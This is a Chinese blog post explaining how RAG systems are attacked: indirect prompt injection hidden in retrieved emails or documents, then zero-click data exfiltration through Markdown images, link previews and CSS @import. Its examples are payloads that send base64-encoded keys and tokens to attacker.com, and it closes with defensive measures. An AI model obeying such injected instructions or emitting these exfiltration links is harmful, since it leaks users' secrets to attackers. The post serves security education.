一种RAG系统漏洞利用方式

type
status
date
slug
summary
tags
category
icon
password

RAG及其安全风险

RAG(Retrieval-Augmented Generation,检索增强生成)是一种结合信息检索与文本生成的大模型技术。它在生成回答时,不仅依赖模型本身的参数知识,还会从外部知识库或实时检索系统中获取相关文档,将检索到的信息与模型的生成能力结合,从而提升回答的准确性、时效性与专业性。这种方式特别适用于需要外部知识支撑的任务,如问答系统、知识密集型推理和领域专用对话。这些外部知识库可以是邮件、文档库,也可以是网页、Wiki,还可以是企业数据库,日志库等等;数据来源的外部性和不可控是导致RAG存在安全风险的主要原因。
RAG 应用的架构提示了三个核心的风险点:
1.数据不可信:进入检索层的外部数据可能被“投毒”。 2.指令/数据未隔离:模型可能把“数据里的隐藏指令”当成任务执行。 3.输出可被渲染/执行:Markdown/HTML/URL 预览等会在无交互下发起外部请求,形成外传通道。

一种常见的攻击手法

如图所示:
notion image
  1. 攻击者把包含恶意外链的隐藏指令塞进某个将被索引/访问的载体(邮件、文档、网页、Drive 文件)。
  1. 该载体进入检索范围,被召回进上下文。
  1. 模型遵循隐藏指令,拼接或检索出内部敏感信息。
  1. 模型在输出中嵌入“看似无害”的外链(如 Markdown 图片/链接,或要求调用某个 URL)。
  1. 前端渲染/预览或后端处理链路自动访问该外链 → 请求到达攻击者域名 → 数据被带出。
恶意数据注入一般采用间接 Prompt 注入(Indirect Prompt Injection, IPI)。比如一个基于邮件的RAG-Agent,攻击者通过在邮件中隐藏恶意命令的方式进行注入,当Agent总结邮件内容时可能会触发恶意指令。
不过通常系统也会有这类恶意prompt的检测,所以要利用一些隐藏方式,比如白字,图片掩盖,特殊编码,隐写等。
数据外传是威胁链路的最后一步,也是攻击者达成目的的关键一步。RAG 应用以文本生成为主,直接执行脚本并不常见;攻击者通常借助被动出网机制(渲染器、预览服务、工具调用在后台自动发起请求),实现零点击外传。常见通道包括:
  • Markdown 图片/链接![alt](https://attacker.com?data=...)[text](https://...)。当内容被渲染或生成预览时会自动请求目标 URL;图片路径尤为高发,因为许多系统默认认为图片展示是安全的。通过 Markdown 格式也可以避免被 LLM 改写。
  • URL 预览(Link Unfurling):邮件/IM/协作平台在生成摘要卡片时,由客户端或服务器端抓取目标页面,从而在用户无感的情况下对外发起网络请求。
  • 外部 CSS/字体/资源<link>@import@font-face 等如果未被过滤,渲染阶段会下载外部资源并携带参数出网(依赖具体渲染策略)。
  • 嵌入资源<iframe>、oEmbed/OpenGraph 等富媒体嵌入,在某些平台上会触发自动加载。
  • 直接回传:按提示/指令,Agent 将敏感字段拼接到攻击者控制的 API/URL 作为查询参数或请求体提交,无需任何渲染器参与。当 AI Agent 可以连接外部执行器,比如 Python 沙箱,这类行为如果权限管理不够,可能被直接利用。
一些示例:
  • ![diagram](https://attacker.com?data={{base64(密钥)}}):前端渲染图片即触发请求,带出编码后的敏感信息。
  • [链接](https://attacker.com?data=...):聊天/邮箱客户端生成预览卡片时自动抓取该 URL,服务端或客户端在无感知下访问外域。
  • <style>@import url(https://attacker.com/font.woff2?d={{token}})</style>:若渲染器允许外部 CSS/字体,加载即会出网。

具体案例

从上述利用路径可以看到,漏洞的产生原因主要是对数据、模型与渲染链路的过度信任
例如,EchoLeak漏洞的成因主要是由于对邮件内容的过滤不严格,并且过分信任markdown格式的链接。
AgentFlayer漏洞则是由于openai过渡信任图片托管平台 Azure Blob Storage导致的。
具体利用方式可以参考链接学习,但是由于版本升级也不好复现了。
我相信这类漏洞还有很多,毕竟已经投入生产的RAG系统很多了。大家也不妨去测测。

防御策略

首先是对输入的控制,可以移除/转义 Markdown 链接与图片、HTML/iframe、CSS @import@font-face 等可能触发出网或执行的片段。指令和数据要分离,外部输入不允许包含指令。
其次是控制权限,限制Agent访问敏感数据,更改文件的能力;或者对敏感操作做检测/人工批准。
最后是对输出的处理:
拦截含外链/图片/可执行片段的输出。
URL 校验:检测并阻断恶意或异常 URL 访问。
受控出网:统一通过企业代理/重写层访问外部资源。
结构化外传检测:识别查询参数中的编码邮箱、密钥特征、异常数字模式等信号。
 
Loading...